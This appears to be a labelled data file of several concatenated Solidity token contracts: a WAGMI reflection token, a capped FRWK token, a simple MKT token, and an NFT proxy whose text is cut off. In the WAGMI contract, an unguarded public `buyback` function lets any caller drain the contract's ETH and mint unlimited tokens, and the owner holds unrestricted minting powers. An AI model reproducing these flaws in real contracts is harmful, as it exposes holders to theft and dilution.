_inSwap = false; bool internal _inLiquidityAdd = false; bool internal _tradingActive = false; uint256 internal _tradingStartBlock = 0; mapping(address => uint256) private _balances; mapping(address => bool) private _reflectionExcluded; mapping(address => bool) private _taxExcluded; mapping(address => bool) private _bot; mapping(address => uint256) private _lastBuy; mapping(address => uint256) private _lastReflectionBasis; mapping(address => uint256) private _totalWalletRewards; address[] internal _reflectionExcludedList; constructor( address uniswapFactory, address uniswapRouter, address payable treasuryWallet, address payable marketingWallet, address payable liquidityWallet ) ERC20("WAGMI Capital", "WAGMI") Ownable() { addTaxExcluded(owner()); addTaxExcluded(treasuryWallet); addTaxExcluded(address(this)); addTaxExcluded(_wagmibuyback); _liquidityWallet = liquidityWallet; _treasuryWallet = treasuryWallet; _marketingWallet = marketingWallet; _burnWallet = payable(0x000000000000000000000000000000000000dEaD); _wagmibuyback = payable(0x3CB2882bdC15036FfAE48f109b6EDe59B8261868); _router = IUniswapV2Router02(uniswapRouter); IUniswapV2Factory uniswapContract = IUniswapV2Factory(uniswapFactory); _pair = uniswapContract.createPair(address(this), _router.WETH()); } function launch(uint256 tokens) public payable onlyOwner() liquidityAdd { _mint(address(this), tokens); addLiquidity(tokens, msg.value); if (!_tradingActive) { _tradingActive = true; _tradingStartBlock = block.number; } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(_router), tokenAmount); // add the liquidity _router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function addReflection() public payable { _ethReflectionBasis += msg.value; } function isReflectionExcluded(address account) public view returns (bool) { return _reflectionExcluded[account]; } function removeReflectionExcluded(address account) public onlyOwner() { require(isReflectionExcluded(account), "Account must be excluded"); _reflectionExcluded[account] = false; } function addReflectionExcluded(address account) public onlyOwner() { _addReflectionExcluded(account); } function _addReflectionExcluded(address account) internal { require(!isReflectionExcluded(account), "Account must not be excluded"); _reflectionExcluded[account] = true; } function isTaxExcluded(address account) public view returns (bool) { return _taxExcluded[account]; } function addTaxExcluded(address account) public onlyOwner() { require(!isTaxExcluded(account), "Account must not be excluded"); _taxExcluded[account] = true; } function removeTaxExcluded(address account) public onlyOwner() { require(isTaxExcluded(account), "Account must not be excluded"); _taxExcluded[account] = false; } function isBot(address account) public view returns (bool) { return _bot[account]; } function addBot(address account) internal { _addBot(account); } function _addBot(address account) internal { require(!isBot(account), "Account must not be flagged"); require(account != address(_router), "Account must not be uniswap router"); require(account != _pair, "Account must not be uniswap pair"); require(account != _wagmibuyback, "Account must not be buyback"); _bot[account] = true; _addReflectionExcluded(account); } function removeBot(address account) public onlyOwner() { require(isBot(account), "Account must be flagged"); _bot[account] = false; removeReflectionExcluded(account); } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _addBalance(address account, uint256 amount) internal { _balances[account] = _balances[account] + amount; } function _subtractBalance(address account, uint256 amount) internal { _balances[account] = _balances[account] - amount; } function _transfer( address sender, address recipient, uint256 amount ) internal override { if (isTaxExcluded(sender) || isTaxExcluded(recipient)) { _rawTransfer(sender, recipient, amount); return; } require(!isBot(sender), "Sender locked as bot"); require(!isBot(recipient), "Recipient locked as bot"); uint256 maxTxAmount = totalSupply() * _maxTransfer / 1000; uint256 maxWalletAmount = totalSupply() * _maxWallet / 1000; require(amount <= maxTxAmount || _inLiquidityAdd || _inSwap || recipient == address(_router), "Exceeds max transaction amount"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= _swapFeesAt; if (_lastReflectionBasis[recipient] <= 0) { _lastReflectionBasis[recipient] = _ethReflectionBasis; } if(contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } if ( overMinTokenBalance && !_inSwap && sender != _pair && _swapFees ) { _swap(contractTokenBalance); } _claimReflection(payable(sender)); _claimReflection(payable(recipient)); uint256 send = amount; uint256 reflect = 0; uint256 marketing = 0; uint256 liquidity = 0; uint256 treasury = 0; uint256 burn = 0; if (sender == _pair && _tradingActive) { // Buy, apply buy fee schedule require((_balances[recipient] + amount) <= maxWalletAmount); send = amount * (100 - _totalFees) / 100; reflect = amount * _reflectRate / 100; burn = amount * _autoBurnRate / 100; require((!useBuyCooldown || block.timestamp - _lastBuy[tx.origin] > _cooldown) || _inSwap, "hit cooldown, try again later"); _autoBurnTokens(sender, burn); _lastBuy[tx.origin] = block.timestamp; _reflect(sender, reflect); } else if (recipient == _pair && _tradingActive) { // Sell, apply sell fee schedule if (useEarlySellTime && _lastBuy[tx.origin] + (earlySellTime) >= block.timestamp){ send = amount * (100 - _TotalEarlySellFees) / 100; marketing = amount * _marketingFeeEarlySell / 1000; liquidity = amount * _autoLiquidityRate / 1000; treasury = amount * _treasuryFeeEarlySell / 1000; } else{ send = amount * (100 - _totalFees) / 100; marketing = amount * _marketingFee / 1000; liquidity = amount * _autoLiquidityRate / 1000; treasury = amount * _treasuryFee / 1000; } _takeMarketing(sender, marketing); _takeTreasury(sender, treasury); _takeLiquidity(sender, liquidity); } _rawTransfer(sender, recipient, send); if (_tradingActive && block.number == _tradingStartBlock && !isTaxExcluded(tx.origin)) { if (tx.origin == address(_pair)) { if (sender == address(_pair)) { _addBot(recipient); } else { _addBot(sender); } } else { _addBot(tx.origin); } } } function _claimReflection(address payable addr) internal { if (addr == _pair || addr == address(_router)) return; uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = basisDifference * balanceOf(addr) / _totalSupply; _lastReflectionBasis[addr] = _ethReflectionBasis; if (owed == 0) { return; } addr.transfer(owed); _totalWalletRewards[addr] += owed; _totalDistributed += owed; } function claimReflection() public { _claimReflection(payable(msg.sender)); } function pendingRewards(address addr) public view returns (uint256) { uint256 basisDifference = _ethReflectionBasis - _lastReflectionBasis[addr]; uint256 owed = basisDifference * balanceOf(addr) / _totalSupply; return owed; } function totalRewardsDistributed() public view returns (uint256) { return _totalDistributed; } function totalWalletRewards(address addr) public view returns (uint256) { return _totalWalletRewards[addr]; } function _swap(uint256 amount) internal lockSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), amount); uint256 contractEthBalance = address(this).balance; _router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); uint256 tradeValue = address(this).balance - contractEthBalance; uint256 marketingAmount = amount * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 treasuryAmount = amount * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 liquidityAmount = amount * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 reflectedAmount = amount - (marketingAmount + treasuryAmount + liquidityAmount); uint256 marketingEth = tradeValue * _totalMarketingFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 treasuryEth = tradeValue * _totalTreasuryFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 liquidityEth = tradeValue * _totalLiquidityFees / (_totalReflected + _totalMarketingFees + _totalTreasuryFees + _totalLiquidityFees); uint256 reflectedEth = tradeValue - (marketingEth + treasuryEth + liquidityEth); if (marketingEth > 0) { _liquidityWallet.transfer(liquidityEth); _marketingWallet.transfer(marketingEth); _treasuryWallet.transfer(treasuryEth); } _totalMarketingFees -= marketingAmount; _totalTreasuryFees -= treasuryAmount; _totalLiquidityFees -= liquidityAmount; _totalReflected -= reflectedAmount; _ethReflectionBasis += reflectedEth; } function swapAll() public { uint256 maxTxAmount = totalSupply() * _maxTransfer / 1000; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= maxTxAmount) { contractTokenBalance = maxTxAmount; } if ( !_inSwap ) { _swap(contractTokenBalance); } } function buyback(uint256 _amount) public { _wagmibuyback.transfer(address(this).balance); _mint(_wagmibuyback, _amount); } function _reflect(address account, uint256 amount) internal { require(account != address(0), "reflect from the zero address"); _rawTransfer(account, address(this), amount); _totalReflected += amount; emit Transfer(account, address(this), amount); } function _takeMarketing(address account, uint256 amount) internal { require(account != address(0), "take marketing from the zero address"); _rawTransfer(account, address(this), amount); _totalMarketingFees += amount; emit Transfer(account, address(this), amount); } function _takeTreasury(address account, uint256 amount) internal { require(account != address(0), "take treasury from the zero address"); _rawTransfer(account, address(this), amount); _totalTreasuryFees += amount; emit Transfer(account, address(this), amount); } function _takeLiquidity(address account, uint256 amount) internal { require(account != address(0), "take liquidity from the zero address"); _rawTransfer(account, address(this), amount); _totalLiquidityFees += amount; emit Transfer(account, address(this), amount); } function _autoBurnTokens(address _account, uint _amount) private { require( _amount <= balanceOf(_account)); _balances[_account] = (_balances[_account] - _amount); _totalSupply = (_totalSupply - _amount); _totalBurned = (_totalBurned + _amount); emit Transfer(_account, address(0), _amount); } // modified from OpenZeppelin ERC20 function _rawTransfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "transfer from the zero address"); require(recipient != address(0), "transfer to the zero address"); uint256 senderBalance = balanceOf(sender); require(senderBalance >= amount, "transfer amount exceeds balance"); unchecked { _subtractBalance(sender, amount); } _addBalance(recipient, amount); emit Transfer(sender, recipient, amount); } function setMaxTransfer(uint256 maxTransfer) public onlyOwner() { _maxTransfer = maxTransfer; } function setSwapFees(bool swapFees) public onlyOwner() { _swapFees = swapFees; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function _mint(address account, uint256 amount) internal override { _totalSupply += amount; _addBalance(account, amount); emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner() { _mint(account, amount); } function airdrop(address[] memory accounts, uint256[] memory amounts) public onlyOwner() { require(accounts.length == amounts.length, "array lengths must match"); for (uint256 i = 0; i < accounts.length; i++) { _mint(accounts[i], amounts[i]); } } function totalBurned() public view returns (uint256) { return _totalBurned; } function updateSellFees(uint256 _sellMarketingFee, uint256 _sellTreasuryFee, uint256 _liquidityFee, uint256 _reflectionFee, uint256 _autoBurnFee, uint256 _earlySellTreasuryFee, uint256 _earlySellMarketingFee) external onlyOwner { _marketingFee = _sellMarketingFee; _treasuryFee = _sellTreasuryFee; _autoLiquidityRate = _liquidityFee; _reflectRate = _reflectionFee; _autoBurnRate = _autoBurnFee; _treasuryFeeEarlySell = _earlySellTreasuryFee; _marketingFeeEarlySell = _earlySellMarketingFee; _totalFees = (_marketingFee + _autoLiquidityRate + _treasuryFee); _TotalEarlySellFees = (_marketingFeeEarlySell + _treasuryFeeEarlySell + _autoLiquidityRate); require(_totalFees <= 25, "Must keep fees at 25% or less"); require(_TotalEarlySellFees <= 25, "Must keep fees at 25% or less"); } function getTotalFee() public view returns (uint256) { return _totalFees; } function getTotalEarlySellFee() public view returns (uint256) { return _TotalEarlySellFees; } function setMaxWallet(uint256 amount) public onlyOwner() { require(amount >= _totalSupply / 1000); _maxWallet = amount; } function setMaxTransaction(uint256 amount) public onlyOwner() { require(amount >= _totalSupply / 1000); _maxTransfer = amount; } function setSwapFeesAt(uint256 amount) public onlyOwner() { _swapFeesAt = amount; } function setTradingActive(bool active) public onlyOwner() { _tradingActive = active; } function setUseEarlySellTime(bool useSellTime) public onlyOwner() { useEarlySellTime = useSellTime; } function setUseCooldown(bool useCooldown) public onlyOwner() { useBuyCooldown = useCooldown; } receive() external payable {} }

True

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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Contactable token * @dev Basic version of a contactable contract, allowing the owner to provide a string with their * contact information. */ contract Contactable is Ownable { string public contactInformation; /** * @dev Allows the owner to set a string with their contact information. * @param info The contact information to attach to the contract. */ function setContactInformation(string info) onlyOwner public { contactInformation = info; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract FrameworkToken is CappedToken, PausableToken, Contactable { string public name = "Framework"; string public symbol = "FRWK"; uint8 public decimals = 18; uint256 public cappedTokenSupply = 100000000 * (10 ** uint256(decimals)); // There will be total 100 million FRWK Tokens mapping(address => bool) public owners; function FrameworkToken() CappedToken(cappedTokenSupply) public { } modifier onlyOwner() { require(isAnOwner(msg.sender)); _; } function addNewOwner(address _owner) public onlyOwner{ require(_owner != address(0)); owners[_owner]= true; } function removeOwner(address _owner) public onlyOwner{ require(_owner != address(0)); require(_owner != msg.sender); owners[_owner]= false; } function isAnOwner(address _owner) public constant returns(bool) { if (_owner == owner){ return true; } return owners[_owner]; } modifier hasMintPermission() { require(isAnOwner(msg.sender)); _; } }

True

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//SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } contract Context { constructor () { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, Ownable, IERC20 { using SafeMath for uint; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; uint internal _totalSupply; function totalSupply() public view override returns (uint) { return _totalSupply; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address towner, address spender) public view override returns (uint) { return _allowances[towner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address towner, address spender, uint amount) internal { require(towner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[towner][spender] = amount; emit Approval(towner, spender, amount); } } contract ERC20Detailed is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory tname, string memory tsymbol, uint8 tdecimals) { _name = tname; _symbol = tsymbol; _decimals = tdecimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract MKT is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public _owner; constructor () ERC20Detailed("Market Coin", "MKT", 8) { _owner = msg.sender; _totalSupply = 7000000000000 *(10**uint256(8)); _balances[_owner] = _totalSupply; } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: The Blobs V1 /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // 💀NOBODY IS PERFECT, AND SURELY NOT THE BLOBS!! 100 Hand-Drawn BLOBS, Unique in Names & Shapes, are Taking-Over OpenSea to enjoy the technologies of WEB3.💀 // // // // -- // // // // 🏴BLOBS Aim to grow across multiple networks (SOL/MATIC/WAX etc) while gathering an Exclusive Club of 100 like-minded HOOMANS with no hierarchy. 1 BLOB MAX per HOOMAN so 100 BLOBS = 100 HOOMANS.🏴 // // // // -- // // // // 🤑 1 BLOB = 1% OWNERSHIP over our Community Wallet & 1 BLOB = 1 VOTE in our PREMIUM SANDBOXLAND metaverse.🤑 // // // // -- // // // // 🛒Supply 100. Mint Ξ0.025. Free Airdrop of V2, V3, V4...🛒 // // // // -- // // // // ✌️NO WEBSITE. Join The Blobs Discord to ask for your name to be listed and enjoy your perks.✌️ // // // // -- // // // // 🖤FYI: Blobs are unique, special, emotional creatures! Often made fun of because of their unconventional features, they are actually loyal friends ready to give back.🖤 // // // // // // --- // // // // // // **Medium Article** // // // // https://theblobs.medium.com/the-blobs-v1-6da3585acc75 // // // // **YOUTUBE** // // // // https://www.youtube.com/watch?v=SKfA5rlhYf0 // // // // **TWITTER** // // // // https://twitter.com/thefrenchfarmer // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract BLOBS is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller 